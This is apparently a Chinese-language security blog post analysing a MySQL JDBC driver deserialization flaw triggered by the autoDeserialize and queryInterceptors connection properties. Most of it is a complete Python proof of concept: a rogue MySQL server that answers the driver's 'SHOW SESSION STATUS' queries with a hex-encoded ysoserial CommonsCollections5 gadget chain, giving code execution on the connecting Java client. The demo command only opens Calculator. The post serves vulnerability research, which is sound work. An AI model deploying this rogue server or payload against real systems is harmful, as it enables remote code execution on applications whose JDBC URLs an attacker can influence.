Learning Man's Blog

JDBC Deserialization

字数统计: 695阅读时长: 3 min
2020/01/17

JDBC URL 语法中,是可以类似于 get 设置请求属性

-w283

在这里有两个影响此漏洞的关键属性

Properties Descriptions
autoDeserialize Should the driver automatically detect and de-serialize objects stored in BLOB fields?

Default: false

Since version: 3.1.5
queryInterceptors A comma-delimited list of classes that implement “com.mysql.cj.interceptors.QueryInterceptor” that should be placed “in between” query execution to influence the results. QueryInterceptors are “chainable”, the results returned by the “current” interceptor will be passed on to the next in in the chain, from left-to-right order, as specified in this property.

Since version: 8.0.7

简单地说:

  • queryInterceptors在执行查询前进行拦截并处理
  • autoDeserialize在遇到 blob 类型会执行反序列化

分析

通过简单的调试,可以看到在ServerStatusDiffInterceptor 拦截器进行预处理时,会查询服务器 session 状态

-w1031

之后分别读取 key 和 value 存放到 map 中

-w1078

可以看到,当数据类型为 BLOB 时,且 autoDeserialize 开启情况下,就会读取数据流并执行反序列化

-w1502

跟入实际流程,发现会先后触发 preProcess 以及 postProcess,所以会请求”SHOW SESSION STATUS”两次

-w813

那么触发条件就是复写show session status,在 mysql 中有一个插件叫做rewrite,在5.7.6开始支持Query Rewrite,能够将符合对应pattern的SQL语句进行重写

但实际上,由于目标语句的特殊性,是没有办法重写的

mysql> insert into query_rewrite.rewrite_rules (pattern, replacement) values ('show session status', 'select 1,2');
Query OK, 1 row affected (0.00 sec)

mysql> call query_rewrite.flush_rewrite_rules();
ERROR 1644 (45000): Loading of some rule(s) failed.

两种解决办法

  1. 编译rewrite_example插件,具体可见此文章
  2. 伪装 Mysql,自定义数据流量

后者在内网没有可控 mysql 情况下会很好用,毕竟前者动作太大了还要临时编译

Poc

测试查看流量时候需要开启useSSL=false,否则是加密的数据包

-w1896

当然也可以使用 socket + ssl 伪装 mysql 服务端(懒得写==没试过)

# coding : utf-8
import socket


def return_little_endian(data):
    return ''.join([data[i:i + 2] for i in range(0, len(data), 2)][::-1])


def return_hex(data):
    hex_s = hex(data)[2:]
    return return_little_endian('0' + hex_s if len(hex_s) % 4 else hex_s)


def return_len_hex(data):
    return return_little_endian(hex(data)[2:].zfill(6))


# java -jar ysoserial-master.jar CommonsCollections5 "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
payload = 'ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000037372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD8502000449000A6C696E654E756D6265724C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E000578700000005374002679736F73657269616C2E7061796C6F6164732E436F6D6D6F6E73436F6C6C656374696F6E7335740018436F6D6D6F6E73436F6C6C656374696F6E73352E6A6176617400096765744F626A6563747371007E000B0000003571007E000D71007E000E71007E000F7371007E000B0000002274001979736F73657269616C2E47656E65726174655061796C6F616474001447656E65726174655061796C6F61642E6A6176617400046D61696E737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E00077872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B7870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A657870000000007704000000007871007E001A78737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B657971007E00014C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00017870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00055B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E003200000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E00327371007E002B7571007E002F00000002707571007E002F00000000740006696E766F6B657571007E003200000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E002F7371007E002B757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B4702000078700000000174003D2F53797374656D2F4170706C69636174696F6E732F43616C63756C61746F722E6170702F436F6E74656E74732F4D61634F532F43616C63756C61746F72740004657865637571007E00320000000171007E00377371007E0027737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000000770800000010000000007878'.decode('hex')

data_list = [
    '4a0000000a352e372e3235000a00000041787403090e1e2500ffff080200ffc11500000000000000000000501d1d2e606244016f3f0e65006d7973716c5f6e61746976655f70617373776f726400'.decode('hex'),
    '0700000200000002000000'.decode('hex'),
    '01000001152e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002800000f0364656600000012706572666f726d616e63655f736368656d61000c3f000100000008800000000026000010036465660000001071756572795f63616368655f73697a65000c3f001500000008a00000000026000011036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000012036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000013036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000014036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001503646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000016036465660000000c776169745f74696d656f7574000c3f001500000008a0000000000d0100170131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f63690f757466385f67656e6572616c5f6369000532383830300347504c01300831363737373231360236300131083136373737323136034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e034353540653595354454d0f52455045415441424c452d5245414405323838303007000018fe000002000200'.decode('hex'),
    '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'.decode('hex'),
    '0700000100000002000000'.decode('hex'),
    '0700000100000002000000'.decode('hex'),
    '0100000102320000020364656604746573740a6a64626361747461636b0a6a64626361747461636b0269640269640c3f000b0000000300000000003c0000030364656604746573740a6a64626361747461636b0a6a64626361747461636b07636f6d6d616e6407636f6d6d616e640c3f00ffff0000fc9000000000'.decode('hex')
]

tmp = ('04' + '0131fc' + return_hex(len(payload))).decode('hex') + payload
data_list[-1] = data_list[-1] + return_len_hex(len(tmp)-1).decode('hex') + tmp + '05000006fe00002200'.decode('hex')


HOST = '0.0.0.0'
PORT = 3306

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn = None

print 'Server start at: %s:%s' % (HOST, PORT)
print 'wait for connection...'

while True:
    try:
        if conn is None:
            conn, addr = s.accept()
            print '[+] Connected From', addr
            for i in data_list:
                conn.send(i)
                conn.recv(1024).encode('hex')
            print "[-] Transfer End"
            print conn.recv(2048)[4:]
            conn.close()
            conn = None
    except Exception as e:
        # print('waiting...')
        conn = None

效果

2020-01-17 17.21.30

参考资料

  1. New Exploit Technique In Java Deserialization Attack
  2. mysql jdbc 反序列化漏洞测试
  3. MySQL Query Rewrite Plugin 简单使用测试
CATALOG
  1. 1. 分析
  2. 2. Poc
    1. 2.1. 效果
  3. 3. 参考资料